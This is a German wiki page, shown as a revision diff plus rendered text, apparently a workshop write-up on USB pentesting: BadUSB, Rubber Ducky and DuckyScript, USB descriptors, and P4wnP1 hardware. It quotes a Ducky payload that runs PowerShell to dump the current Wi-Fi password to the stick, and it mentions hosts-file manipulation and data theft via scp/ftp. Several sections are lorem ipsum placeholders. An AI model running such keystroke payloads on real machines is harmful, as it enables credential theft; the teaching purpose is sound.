USB-Pentesting: Difference between revisions
| (32 intermediate revisions by the same user not shown) | |||
| Line 1: | Line 1: | ||
Die Evolution der USB-Bedrohungslandschaft und das Vertrauensparadigma seitens des OS ist ein Katz und Maus spiel zwischen Angreifer und Verteidiger. |
|||
== USB-Pentesting: Grundlagen und Gefahren == |
== USB-Pentesting: Grundlagen und Gefahren == |
||
# '''Bedrohungslandschaft''' |
|||
Die physische Sicherheit von Computersystemen wird in der modernen Cybersicherheit oft zugunsten von netzwerkbasierten Schutzmaßnahmen vernachlässigt. Somit bergen USB-Geräte in der IT-Security ein nicht geringes Risiko, weil diese vom System grundsätzlich als vertrauenswürdig eingestuft werden. USB-Ports sind omnipräsent und genießen innerhalb moderner Betriebssysteme ein nahezu grenzenloses, implizites Vertrauen. |
Die physische Sicherheit von Computersystemen wird in der modernen Cybersicherheit oft zugunsten von netzwerkbasierten Schutzmaßnahmen vernachlässigt. Somit bergen USB-Geräte in der IT-Security ein nicht geringes Risiko, weil diese vom System grundsätzlich als vertrauenswürdig eingestuft werden. USB-Ports sind omnipräsent und genießen innerhalb moderner Betriebssysteme ein nahezu grenzenloses, implizites Vertrauen. |
||
So können manipulierte USB-Sticks oder USB-Kabel beispielsweise als HID (Human Interface Devices) auftreten und fast unbemerkt Befehle an den Rechner senden; -ein Angriffsszenario, das als "BadUSB" bekannt ist. Dabei emuliert ein USB-Gerät z.b. eine Tastatur und gibt automatisiert Tastaturbefehle (Keyboard Injection) ein, etwa um eine Konsole zu öffnen und Malware herunterzuladen oder auszuführen. Da Betriebssysteme einem neu eingesteckten Keyboard per Plug & Play ohne weitere Authentifizierung vertrauen, kann so innerhalb von Sekunden volle Kontrolle über einen Rechner erlangt werden. Dieses Vertrauen basiert auf der historischen Notwendigkeit, Peripheriegeräte wie Tastaturen, Mäuse und Speichermedien ohne langwierige Authentifizierungsprozesse schnell und sofort einsatzbereit zu machen. |
So können manipulierte USB-Sticks oder USB-Kabel beispielsweise als HID (Human Interface Devices) auftreten und fast unbemerkt Befehle an den Rechner senden; -ein Angriffsszenario, das als "BadUSB" bekannt ist. Dabei emuliert ein USB-Gerät z.b. eine Tastatur und gibt automatisiert Tastaturbefehle (Keyboard Injection) ein, etwa um eine Konsole zu öffnen und Malware herunterzuladen oder auszuführen. Da Betriebssysteme einem neu eingesteckten Keyboard per Plug & Play ohne weitere Authentifizierung vertrauen, kann so innerhalb von Sekunden volle Kontrolle über einen Rechner erlangt werden. Dieses Vertrauen basiert auf der historischen Notwendigkeit, Peripheriegeräte wie Tastaturen, Mäuse und Speichermedien ohne langwierige Authentifizierungsprozesse schnell und sofort einsatzbereit zu machen. |
||
| Line 5: | Line 9: | ||
# Kernproblematik |
# 2. '''Kernproblematik''' |
||
Die Kernproblematik liegt im sogenannten "Wolf im Schafspelz"-Prinzip: Ein Gerät, das äußerlich wie ein harmloser Speicherstick aussieht, kann gegenüber dem Host-Betriebssystem jede beliebige Identität annehmen (USB standard lässt einen jede beliebige. Besonders kritisch ist hierbei die Klasse der Human Interface Devices. Da das Betriebssystem davon ausgeht, dass eine Tastatur oder Maus direkt von einem autorisierten menschlichen Benutzer bedient wird, werden die von einem solchen Gerät gesendeten Befehle mit der Berechtigung des aktuell angemeldeten Benutzers ausgeführt. Pentesting-Tools wie der Raspberry Pi Zero W mit der Kali Distro P4wnP1 A.L.O.A. nutzen diese fundamentale Designschwäche des USB-Protokolls aus, um automatisierte Angriffe mit einer Geschwindigkeit durchzuführen, die weit über menschliche Fähigkeiten hinausgeht. |
Die Kernproblematik liegt im sogenannten "Wolf im Schafspelz"-Prinzip: Ein Gerät, das äußerlich wie ein harmloser Speicherstick aussieht, kann gegenüber dem Host-Betriebssystem jede beliebige Identität annehmen (USB standard lässt einen jede beliebige. Besonders kritisch ist hierbei die Klasse der Human Interface Devices. Da das Betriebssystem davon ausgeht, dass eine Tastatur oder Maus direkt von einem autorisierten menschlichen Benutzer bedient wird, werden die von einem solchen Gerät gesendeten Befehle mit der Berechtigung des aktuell angemeldeten Benutzers ausgeführt. Pentesting-Tools wie der Raspberry Pi Zero W mit der Kali Distro P4wnP1 A.L.O.A. nutzen diese fundamentale Designschwäche des USB-Protokolls aus, um automatisierte Angriffe mit einer Geschwindigkeit durchzuführen, die weit über menschliche Fähigkeiten hinausgeht. |
||
# 3. '''Ziele von BadUSB die sich als HID-Gerät ausgeben''' |
|||
- Nulla non hendrerit odio. Vestibulum imperdiet odio sit amet sodales posuere. |
|||
Manipulation von: |
|||
> C:\Windows\System32\drivers\etc\hosts |
|||
Ermöglicht Man-in-the-Middle-Angriffe (MitM) auf Lokaler ebene durch manipulation der hosts file. |
|||
Denn: Die hosts-Datei überschreibt reguläre DNS-Antworten. |
|||
Weitere spielerein sind unter anderem: |
|||
> SCP Quelle:Ziel | ftp.exe |
|||
Um Datendiebstahl zu betreiben |
|||
# 2. Absatz |
|||
Donec risus eros, euismod at diam et, tristique maximus erat. Praesent interdum tellus ac nisl rhoncus bibendum. Donec dictum justo sed volutpat volutpat. Sed consectetur volutpat felis, quis fermentum mauris faucibus nec. |
|||
== Die Evolution der USB-Bedrohungslandschaft == |
|||
## 2.1 SubSubTitel |
|||
# 1. '''Ursprung der automatisierten Keystroke-Injektion: ''Der Hak5 Rubber Ducky'' ''' |
|||
Der Grundstein für moderne USB-Angriffe wurde durch den Hak5 Rubber Ducky gelegt. Ursprünglich als einfaches Werkzeug zur Automatisierung von Systemadministratoren gedacht, entwickelte sich das Gerät schnell zum Standard für Penetrationstests. Die erste Generation (Mark 1) nutzte einen 32-Bit Atmel-Mikrocontroller und führte Skripte aus, die auf einer Micro-SD-Karte gespeichert waren. |
|||
Die zugrundeliegende Skriptsprache DuckyScript V1 zeichnete sich durch ihre Einfachheit aus. Befehle wie <code>STRING</code>, <code>DELAY</code> und <code>ENTER</code> ermöglichten es, komplexe Tastaturabfolgen vorzuprogrammieren. Mit der Einführung des Rubber Ducky Mark 2 und der Sprache DuckyScript V3 wurde das System erheblich erweitert. V3 bietet heute prozedurale Logik, einschließlich Variablen, Bedingungen (<code>IF/THEN/ELSE</code>) und Schleifen (<code>WHILE</code>), was Angriffe ermöglicht, die dynamisch auf das Zielsystem reagieren. |
|||
''DuckyScript V1'' |
|||
REM My first payload |
|||
DELAY 3000 |
|||
STRING Hello, World! |
|||
ENTER |
|||
<code>REM</code> war für Kommentare, <code>DELAY</code> war ein Zeitlicher Delay <code>STRING</code> war <code>[0-9, a-z, A-Z]</code> und <code>SPECIAL_KEY</code> war ENTER, oder auch die Pfeiltasten |
|||
<pre> |
|||
REM Example Simple USB Exfiltration Technique for Windows |
|||
ATTACKMODE HID STORAGE |
|||
DELAY 2000 |
|||
GUI r |
|||
DELAY 100 |
|||
STRING powershell "$m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter;netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>>$m':\'$env:computername'.txt'" |
|||
ENTER |
|||
REM This short Powershell one-liner executes from the Windows Run dialog. |
|||
REM The drive letter of the volume with the label “DUCKY” is saved as $m. |
|||
REM The netsh command will get the network name and passphrase for the currently connected network ((Get-NetConnectionProfile).Name). |
|||
REM The results of the netsh command (filtered for only SSID and key) will be redirected (saved) to a file on the root of the |
|||
“DUCKY” drive, saved as the computer name (in .txt format). |
|||
</pre> |
|||
https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/examples/Exfiltration/Exfiltration-example1.txt |
|||
Besonders innovativ in DuckyScript V3 ist die Technik der "Keystroke Reflection". Hierbei nutzt das Gerät den Zustand der Tastatur-LEDs (Caps Lock, Num Lock, Scroll Lock) des Host-Systems als Rückkanal. Da das Betriebssystem den LED-Status an alle angeschlossenen Tastaturen synchronisiert, kann ein auf dem Host laufendes Skript Daten in Bit-Muster umwandeln, die durch schnelles Umschalten der LEDs übertragen werden. Der Rubber Ducky registriert diese Änderungen und kann so Informationen exfiltrieren, ohne eine Netzwerkverbindung nutzen zu müssen |
|||
''DuckyScript V3'' |
|||
<pre> |
|||
REM Example Function |
|||
VAR $TIMER = 3 |
|||
FUNCTION COUNTDOWN() |
|||
WHILE ($TIMER > 0) |
|||
STRING . |
|||
$TIMER = ($TIMER - 1) |
|||
DELAY 500 |
|||
END_WHILE |
|||
END_FUNCTION |
|||
STRING And then it happened |
|||
COUNTDOWN() |
|||
SPACE |
|||
STRING a door opened to a world |
|||
$TIMER = 5 |
|||
COUNTDOWN() |
|||
REM The FUNCTION command defines a new function named COUNTDOWN() containing a code block with a WHILE loop which types a single period (".") for each value of $TIMER. |
|||
REM The first time the COUNTDOWN() function is called, the $TIMER variable holds the value 3. The second time it is called, the $TIMER variable holds the value 5. |
|||
REM The string "And then it happened... a door opened to a world....." will be typed. |
|||
</pre> |
|||
https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/examples/Functions/Functions-example1.txt |
|||
DuckyScript im Vergleich: |
|||
{| class="wikitable" |
|||
! Feature |
|||
! DuckyScript V1 |
|||
! DuckyScript V3 |
|||
|- |
|||
| Logik |
|||
| Sequentiell (Top-down) |
|||
| Bedingte Logik, Schleifen, Funktionen |
|||
|- |
|||
| Variablen |
|||
| Nicht vorhanden |
|||
| Dynamische Variablen und mathematische Operatoren |
|||
|- |
|||
| Interaktion |
|||
| Nur Output (Blind Injection) |
|||
| Feedback über LED-Status (Caps/Num Lock) möglich |
|||
|- |
|||
| Speicherzugriff |
|||
| Statisch von SD-Karte |
|||
| Dynamischer Zugriff auf internen Speicher während der Laufzeit |
|||
|} |
|||
Rubber Ducky V1 hat c.a $60 gekostet, im Gegensatz dazu kostet das Hack5 Ducky V3 schon $100 |
|||
# 2. SubSubTitel |
|||
Mauris sagittis consequat est lacinia accumsan. Vivamus non tempor arcu. |
Mauris sagittis consequat est lacinia accumsan. Vivamus non tempor arcu. |
||
Ducky im Attack-Mode <code>ATTACKMODE HID VID_05AC PID_021E</code> mit "Getäuschert HID": |
|||
{| class="wikitable" |
|||
! Prefix |
|||
! Field Name |
|||
! Description |
|||
|- |
|||
| MAN_ Hersteller-ID |
|||
| iManufacturer |
|||
| 16 alphanumeric characters |
|||
|- |
|||
| PROD_ Produkt-ID |
|||
| iProduct |
|||
| 16 alphanumeric characters |
|||
|- |
|||
| SERIAL_ |
|||
| iSerial |
|||
| 12 digits |
|||
|} |
|||
https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/attack-modes/ |
|||
# 3. '''Grundlagen der USB-Kommunikation und Geräteidentifikation''' |
|||
Um die Funktionsweise von Angriffswerkzeugen wie dem P4wnP1 oder dem Rubber Ducky zu verstehen, ist eine detaillierte Analyse des USB-Handshake-Prozesses erforderlich. Wenn ein USB-Gerät mit einem Host-Computer verbunden wird, übernimmt der Host-Controller die Initialisierung. Dieser Prozess beginnt mit einem USB-Reset-Request, woraufhin dem Gerät vorübergehend die Adresse 0 zugewiesen wird. Im nächsten Schritt ruft der Host-Controller den sogenannten Device Descriptor ab. Dieser Datensatz ist die "Visitenkarte" des Geräts und enthält essenzielle Informationen wie die Hersteller-ID (Vendor ID, VID), die Produkt-ID (Product ID, PID) sowie technische Parameter wie die USB-Spezifikationsversion und die maximale Paketgröße. |
|||
Jeder Device Descriptor verfügt über mindestens einen Configuration Descriptor, der wiederum einen oder mehrere Interface Descriptoren beherbergt. Diese Schnittstellenbeschreibungen definieren die eigentliche funktionalität des Geräts über das Feld <code>bInterfaceProtocol</code>. Ein Hex-Wert von 0x03 signalisiert dem Host-Betriebssystem beispielsweise, dass es sich um ein HID-Gerät handelt. Pentesting-Geräte sind in der Lage, sogenannte Composite Devices zu emulieren. Das bedeutet, dass ein einziger physischer Stecker dem Betriebssystem gegenüber mehrere Interface Descriptoren präsentiert, etwa gleichzeitig eine Tastatur (HID), einen Massenspeicher (MSC) und einen Netzwerkadapter (RNDIS/ECM). |
|||
== Analyse weiterer "moderner" Pentesting-Hardware == |
|||
# 1. '''ThingPulse Pendrive S3: Die Theorie der ESP32-S3 basierten Angriffe''' |
|||
Der ThingPulse Pendrive S3 repräsentiert eine neue Klasse von kostengünstigen (24,90€), hochflexiblen Pentesting-Tools auf Basis des ESP32-S3 Mikrocontrollers. Obwohl im Rahmen des Workshops ein defektes Gerät vorlag, bietet die zugrundeliegende Architektur wertvolle Einblicke in moderne Angriffsmethoden. Der ESP32-S3 verfügt über native USB-Unterstützung und ein integriertes WLAN/Bluetooth-Modul. |
|||
Die Leistungsfähigkeit des Pendrive S3 resultiert aus der Verwendung von CircuitPython und dem TinyUSB-Stack. Diese Kombination erlaubt es, das Gerät innerhalb von Sekunden umzuprogrammieren, sodass es sich gegenüber dem Host-Rechner als Tastatur, Maus, USB-Laufwerk oder sogar als MIDI- oder Videogerät ausgibt. Durch das integrierte WLAN-Modul kann der Pendrive S3 im sogenannten "Super WiFi Duck"-Modus betrieben werden. Hierbei fungiert das Gerät als WLAN-Access-Point mit integriertem Webserver. Ein Angreifer kann sich drahtlos mit dem Stick verbinden und während dieser im Zielrechner steckt, Skripte (auch DuckyscriptV3 als <code>payload123456.d</code> in Echtzeit verfassen, speichern und ausführen. Dies löst eines der größten Probleme klassischer BadUSB-Geräte: Die Notwendigkeit, das Gerät physisch zu entfernen, um die Payload anzupassen. |
|||
<pre> |
|||
Wi-Fi + Bluetooth/BTLE |
|||
USB-C |
|||
128MB eingebaute SD-Karte |
|||
WS2812B RGB status LED |
|||
Capacitive touch button |
|||
Compact Pendrive Enclosure |
|||
</pre> |
|||
# 2. '''Raspberry Pi Zero W und P4wnP1 A.L.O.A.''' |
|||
## War das einzige nicht defekte Gerät, welches ich nutzen konnte. |
|||
Der Raspberry Pi Zero W ist aufgrund seiner geringen Größe und des integrierten WLAN-Moduls die ideale Plattform für fortgeschrittene USB-Angriffe. In Kombination mit P4wnP1 A.L.O.A. (A Little Offensive Appliance) verwandelt er sich in ein multifunktionales Angriffswerkzeug, das weit über die Fähigkeiten einfacher Keystroke-Injektoren hinausgeht. P4wnP1 ist eine spezialisierte Kali Linux Distribution, die den USB-Gadget-Stack des Linux-Kernels nutzt, um hochgradig anpassbare USB-Szenarien zu erstellen. |
|||
Im Gegensatz zu Mikrocontroller-basierten Lösungen bietet der Raspberry Pi eine vollständige Linux-Umgebung im Backend. Dies bedeutet, dass während ein HID-Angriff läuft, gleichzeitig komplexe Tools wie Metasploit, Responder oder Aircrack-ng im Hintergrund ausgeführt werden können. Der Pi kann sich als RNDIS-Netzwerkkarte ausgeben und so den gesamten Netzwerkverkehr des Host-Rechners über sich selbst umleiten, was Man-in-the-Middle-Angriffe auf Hardware-Ebene ermöglicht. |
|||
## Spaß mit P4wnP1 A.L.O.A. |
|||
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Phasellus dictum bibendum nunc, ac accumsan sem gravida a. Curabitur vulputate, ante ac malesuada aliquet, mauris elit feugiat risus, sed varius ipsum enim vel ipsum. In imperdiet euismod urna, non suscipit justo vestibulum in. Fusce scelerisque facilisis nisl. Morbi massa sapien, consectetur quis pharetra ut, aliquam vel risus. Donec at ante tellus. Morbi nec felis urna. Curabitur vehicula, magna sit amet porttitor posuere, nisi augue accumsan tellus, non efficitur nisl leo quis libero. Morbi dapibus id diam a ultricies. In gravida accumsan ipsum in dignissim. Vivamus nisi erat, tempor id auctor a, lobortis et arcu. In luctus consectetur pharetra. Sed et ipsum id elit venenatis iaculis vel et dui. |
|||
Nunc vestibulum tellus vitae elementum tristique. Cras felis purus, fringilla finibus pulvinar at, gravida vel massa. Curabitur dapibus libero sed lacinia accumsan. Praesent fermentum leo non blandit imperdiet. Sed fringilla arcu quis sodales hendrerit. Praesent sed leo tortor. Nam suscipit, turpis sit amet iaculis sodales, justo odio rhoncus leo, ornare cursus orci orci eu nulla. In lacinia, eros ut finibus viverra, felis tortor placerat leo, a placerat mi neque nec enim. Morbi tincidunt malesuada ex, sollicitudin luctus nisl gravida pretium. Fusce aliquet porta tortor, in finibus orci interdum nec. Pellentesque quis risus dolor. Sed bibendum augue enim, ac dapibus leo tincidunt sit amet. Donec ipsum ante, fringilla ac dolor id, bibendum malesuada ipsum. Suspendisse commodo tellus felis. |
|||
Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Sed pharetra finibus mauris eu gravida. Phasellus scelerisque malesuada elementum. Duis eget nisl ligula. Proin condimentum metus urna. Quisque accumsan sapien at elementum eleifend. Vivamus consequat euismod justo, sit amet tristique lorem aliquam sodales. Praesent vel urna tincidunt, aliquam purus at, sodales nunc. Nullam tempus suscipit tristique. In hac habitasse platea dictumst. Ut non purus sit amet erat pulvinar imperdiet vel eu ligula. Nullam facilisis posuere orci at semper. Curabitur sed molestie risus. Suspendisse hendrerit felis est, ut mollis urna cursus eget. Vestibulum pellentesque mauris ut tortor luctus aliquet. Nunc lorem elit, tristique id diam a, gravida venenatis massa. |
|||
Latest revision as of 10:54, 27 February 2026
Die Evolution der USB-Bedrohungslandschaft und das Vertrauensparadigma seitens des OS ist ein Katz und Maus spiel zwischen Angreifer und Verteidiger.
USB-Pentesting: Grundlagen und Gefahren
- Bedrohungslandschaft
Die physische Sicherheit von Computersystemen wird in der modernen Cybersicherheit oft zugunsten von netzwerkbasierten Schutzmaßnahmen vernachlässigt. Somit bergen USB-Geräte in der IT-Security ein nicht geringes Risiko, weil diese vom System grundsätzlich als vertrauenswürdig eingestuft werden. USB-Ports sind omnipräsent und genießen innerhalb moderner Betriebssysteme ein nahezu grenzenloses, implizites Vertrauen. So können manipulierte USB-Sticks oder USB-Kabel beispielsweise als HID (Human Interface Devices) auftreten und fast unbemerkt Befehle an den Rechner senden; -ein Angriffsszenario, das als "BadUSB" bekannt ist. Dabei emuliert ein USB-Gerät z.b. eine Tastatur und gibt automatisiert Tastaturbefehle (Keyboard Injection) ein, etwa um eine Konsole zu öffnen und Malware herunterzuladen oder auszuführen. Da Betriebssysteme einem neu eingesteckten Keyboard per Plug & Play ohne weitere Authentifizierung vertrauen, kann so innerhalb von Sekunden volle Kontrolle über einen Rechner erlangt werden. Dieses Vertrauen basiert auf der historischen Notwendigkeit, Peripheriegeräte wie Tastaturen, Mäuse und Speichermedien ohne langwierige Authentifizierungsprozesse schnell und sofort einsatzbereit zu machen. Bekannte Beispiele für BadUSB sind sogenannte "Lost"-USB-Sticks wie meist der "USB Rubber Ducky", welche beim Einstecken sofort Skripte ausführen.
- 2. Kernproblematik
Die Kernproblematik liegt im sogenannten "Wolf im Schafspelz"-Prinzip: Ein Gerät, das äußerlich wie ein harmloser Speicherstick aussieht, kann gegenüber dem Host-Betriebssystem jede beliebige Identität annehmen (USB standard lässt einen jede beliebige. Besonders kritisch ist hierbei die Klasse der Human Interface Devices. Da das Betriebssystem davon ausgeht, dass eine Tastatur oder Maus direkt von einem autorisierten menschlichen Benutzer bedient wird, werden die von einem solchen Gerät gesendeten Befehle mit der Berechtigung des aktuell angemeldeten Benutzers ausgeführt. Pentesting-Tools wie der Raspberry Pi Zero W mit der Kali Distro P4wnP1 A.L.O.A. nutzen diese fundamentale Designschwäche des USB-Protokolls aus, um automatisierte Angriffe mit einer Geschwindigkeit durchzuführen, die weit über menschliche Fähigkeiten hinausgeht.
- 3. Ziele von BadUSB die sich als HID-Gerät ausgeben
Manipulation von: > C:\Windows\System32\drivers\etc\hosts Ermöglicht Man-in-the-Middle-Angriffe (MitM) auf Lokaler ebene durch manipulation der hosts file. Denn: Die hosts-Datei überschreibt reguläre DNS-Antworten.
Weitere spielerein sind unter anderem:
> SCP Quelle:Ziel | ftp.exe Um Datendiebstahl zu betreiben
Die Evolution der USB-Bedrohungslandschaft
- 1. Ursprung der automatisierten Keystroke-Injektion: Der Hak5 Rubber Ducky
Der Grundstein für moderne USB-Angriffe wurde durch den Hak5 Rubber Ducky gelegt. Ursprünglich als einfaches Werkzeug zur Automatisierung von Systemadministratoren gedacht, entwickelte sich das Gerät schnell zum Standard für Penetrationstests. Die erste Generation (Mark 1) nutzte einen 32-Bit Atmel-Mikrocontroller und führte Skripte aus, die auf einer Micro-SD-Karte gespeichert waren.
Die zugrundeliegende Skriptsprache DuckyScript V1 zeichnete sich durch ihre Einfachheit aus. Befehle wie STRING, DELAY und ENTER ermöglichten es, komplexe Tastaturabfolgen vorzuprogrammieren. Mit der Einführung des Rubber Ducky Mark 2 und der Sprache DuckyScript V3 wurde das System erheblich erweitert. V3 bietet heute prozedurale Logik, einschließlich Variablen, Bedingungen (IF/THEN/ELSE) und Schleifen (WHILE), was Angriffe ermöglicht, die dynamisch auf das Zielsystem reagieren.
DuckyScript V1
REM My first payload DELAY 3000 STRING Hello, World! ENTER
REM war für Kommentare, DELAY war ein Zeitlicher Delay STRING war [0-9, a-z, A-Z] und SPECIAL_KEY war ENTER, oder auch die Pfeiltasten
REM Example Simple USB Exfiltration Technique for Windows
ATTACKMODE HID STORAGE
DELAY 2000
GUI r
DELAY 100
STRING powershell "$m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter;netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>>$m':\'$env:computername'.txt'"
ENTER
REM This short Powershell one-liner executes from the Windows Run dialog.
REM The drive letter of the volume with the label “DUCKY” is saved as $m.
REM The netsh command will get the network name and passphrase for the currently connected network ((Get-NetConnectionProfile).Name).
REM The results of the netsh command (filtered for only SSID and key) will be redirected (saved) to a file on the root of the
“DUCKY” drive, saved as the computer name (in .txt format).
Besonders innovativ in DuckyScript V3 ist die Technik der "Keystroke Reflection". Hierbei nutzt das Gerät den Zustand der Tastatur-LEDs (Caps Lock, Num Lock, Scroll Lock) des Host-Systems als Rückkanal. Da das Betriebssystem den LED-Status an alle angeschlossenen Tastaturen synchronisiert, kann ein auf dem Host laufendes Skript Daten in Bit-Muster umwandeln, die durch schnelles Umschalten der LEDs übertragen werden. Der Rubber Ducky registriert diese Änderungen und kann so Informationen exfiltrieren, ohne eine Netzwerkverbindung nutzen zu müssen DuckyScript V3
REM Example Function
VAR $TIMER = 3
FUNCTION COUNTDOWN()
WHILE ($TIMER > 0)
STRING .
$TIMER = ($TIMER - 1)
DELAY 500
END_WHILE
END_FUNCTION
STRING And then it happened
COUNTDOWN()
SPACE
STRING a door opened to a world
$TIMER = 5
COUNTDOWN()
REM The FUNCTION command defines a new function named COUNTDOWN() containing a code block with a WHILE loop which types a single period (".") for each value of $TIMER.
REM The first time the COUNTDOWN() function is called, the $TIMER variable holds the value 3. The second time it is called, the $TIMER variable holds the value 5.
REM The string "And then it happened... a door opened to a world....." will be typed.
DuckyScript im Vergleich:
| Feature | DuckyScript V1 | DuckyScript V3 |
|---|---|---|
| Logik | Sequentiell (Top-down) | Bedingte Logik, Schleifen, Funktionen |
| Variablen | Nicht vorhanden | Dynamische Variablen und mathematische Operatoren |
| Interaktion | Nur Output (Blind Injection) | Feedback über LED-Status (Caps/Num Lock) möglich |
| Speicherzugriff | Statisch von SD-Karte | Dynamischer Zugriff auf internen Speicher während der Laufzeit |
Rubber Ducky V1 hat c.a $60 gekostet, im Gegensatz dazu kostet das Hack5 Ducky V3 schon $100
- 2. SubSubTitel
Mauris sagittis consequat est lacinia accumsan. Vivamus non tempor arcu.
Ducky im Attack-Mode ATTACKMODE HID VID_05AC PID_021E mit "Getäuschert HID":
| Prefix | Field Name | Description |
|---|---|---|
| MAN_ Hersteller-ID | iManufacturer | 16 alphanumeric characters |
| PROD_ Produkt-ID | iProduct | 16 alphanumeric characters |
| SERIAL_ | iSerial | 12 digits |
https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/attack-modes/
- 3. Grundlagen der USB-Kommunikation und Geräteidentifikation
Um die Funktionsweise von Angriffswerkzeugen wie dem P4wnP1 oder dem Rubber Ducky zu verstehen, ist eine detaillierte Analyse des USB-Handshake-Prozesses erforderlich. Wenn ein USB-Gerät mit einem Host-Computer verbunden wird, übernimmt der Host-Controller die Initialisierung. Dieser Prozess beginnt mit einem USB-Reset-Request, woraufhin dem Gerät vorübergehend die Adresse 0 zugewiesen wird. Im nächsten Schritt ruft der Host-Controller den sogenannten Device Descriptor ab. Dieser Datensatz ist die "Visitenkarte" des Geräts und enthält essenzielle Informationen wie die Hersteller-ID (Vendor ID, VID), die Produkt-ID (Product ID, PID) sowie technische Parameter wie die USB-Spezifikationsversion und die maximale Paketgröße.
Jeder Device Descriptor verfügt über mindestens einen Configuration Descriptor, der wiederum einen oder mehrere Interface Descriptoren beherbergt. Diese Schnittstellenbeschreibungen definieren die eigentliche funktionalität des Geräts über das Feld bInterfaceProtocol. Ein Hex-Wert von 0x03 signalisiert dem Host-Betriebssystem beispielsweise, dass es sich um ein HID-Gerät handelt. Pentesting-Geräte sind in der Lage, sogenannte Composite Devices zu emulieren. Das bedeutet, dass ein einziger physischer Stecker dem Betriebssystem gegenüber mehrere Interface Descriptoren präsentiert, etwa gleichzeitig eine Tastatur (HID), einen Massenspeicher (MSC) und einen Netzwerkadapter (RNDIS/ECM).
Analyse weiterer "moderner" Pentesting-Hardware
- 1. ThingPulse Pendrive S3: Die Theorie der ESP32-S3 basierten Angriffe
Der ThingPulse Pendrive S3 repräsentiert eine neue Klasse von kostengünstigen (24,90€), hochflexiblen Pentesting-Tools auf Basis des ESP32-S3 Mikrocontrollers. Obwohl im Rahmen des Workshops ein defektes Gerät vorlag, bietet die zugrundeliegende Architektur wertvolle Einblicke in moderne Angriffsmethoden. Der ESP32-S3 verfügt über native USB-Unterstützung und ein integriertes WLAN/Bluetooth-Modul.
Die Leistungsfähigkeit des Pendrive S3 resultiert aus der Verwendung von CircuitPython und dem TinyUSB-Stack. Diese Kombination erlaubt es, das Gerät innerhalb von Sekunden umzuprogrammieren, sodass es sich gegenüber dem Host-Rechner als Tastatur, Maus, USB-Laufwerk oder sogar als MIDI- oder Videogerät ausgibt. Durch das integrierte WLAN-Modul kann der Pendrive S3 im sogenannten "Super WiFi Duck"-Modus betrieben werden. Hierbei fungiert das Gerät als WLAN-Access-Point mit integriertem Webserver. Ein Angreifer kann sich drahtlos mit dem Stick verbinden und während dieser im Zielrechner steckt, Skripte (auch DuckyscriptV3 als payload123456.d in Echtzeit verfassen, speichern und ausführen. Dies löst eines der größten Probleme klassischer BadUSB-Geräte: Die Notwendigkeit, das Gerät physisch zu entfernen, um die Payload anzupassen.
Wi-Fi + Bluetooth/BTLE USB-C 128MB eingebaute SD-Karte WS2812B RGB status LED Capacitive touch button Compact Pendrive Enclosure
- 2. Raspberry Pi Zero W und P4wnP1 A.L.O.A.
- War das einzige nicht defekte Gerät, welches ich nutzen konnte.
Der Raspberry Pi Zero W ist aufgrund seiner geringen Größe und des integrierten WLAN-Moduls die ideale Plattform für fortgeschrittene USB-Angriffe. In Kombination mit P4wnP1 A.L.O.A. (A Little Offensive Appliance) verwandelt er sich in ein multifunktionales Angriffswerkzeug, das weit über die Fähigkeiten einfacher Keystroke-Injektoren hinausgeht. P4wnP1 ist eine spezialisierte Kali Linux Distribution, die den USB-Gadget-Stack des Linux-Kernels nutzt, um hochgradig anpassbare USB-Szenarien zu erstellen.
Im Gegensatz zu Mikrocontroller-basierten Lösungen bietet der Raspberry Pi eine vollständige Linux-Umgebung im Backend. Dies bedeutet, dass während ein HID-Angriff läuft, gleichzeitig komplexe Tools wie Metasploit, Responder oder Aircrack-ng im Hintergrund ausgeführt werden können. Der Pi kann sich als RNDIS-Netzwerkkarte ausgeben und so den gesamten Netzwerkverkehr des Host-Rechners über sich selbst umleiten, was Man-in-the-Middle-Angriffe auf Hardware-Ebene ermöglicht.
- Spaß mit P4wnP1 A.L.O.A.
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Phasellus dictum bibendum nunc, ac accumsan sem gravida a. Curabitur vulputate, ante ac malesuada aliquet, mauris elit feugiat risus, sed varius ipsum enim vel ipsum. In imperdiet euismod urna, non suscipit justo vestibulum in. Fusce scelerisque facilisis nisl. Morbi massa sapien, consectetur quis pharetra ut, aliquam vel risus. Donec at ante tellus. Morbi nec felis urna. Curabitur vehicula, magna sit amet porttitor posuere, nisi augue accumsan tellus, non efficitur nisl leo quis libero. Morbi dapibus id diam a ultricies. In gravida accumsan ipsum in dignissim. Vivamus nisi erat, tempor id auctor a, lobortis et arcu. In luctus consectetur pharetra. Sed et ipsum id elit venenatis iaculis vel et dui.
Nunc vestibulum tellus vitae elementum tristique. Cras felis purus, fringilla finibus pulvinar at, gravida vel massa. Curabitur dapibus libero sed lacinia accumsan. Praesent fermentum leo non blandit imperdiet. Sed fringilla arcu quis sodales hendrerit. Praesent sed leo tortor. Nam suscipit, turpis sit amet iaculis sodales, justo odio rhoncus leo, ornare cursus orci orci eu nulla. In lacinia, eros ut finibus viverra, felis tortor placerat leo, a placerat mi neque nec enim. Morbi tincidunt malesuada ex, sollicitudin luctus nisl gravida pretium. Fusce aliquet porta tortor, in finibus orci interdum nec. Pellentesque quis risus dolor. Sed bibendum augue enim, ac dapibus leo tincidunt sit amet. Donec ipsum ante, fringilla ac dolor id, bibendum malesuada ipsum. Suspendisse commodo tellus felis.
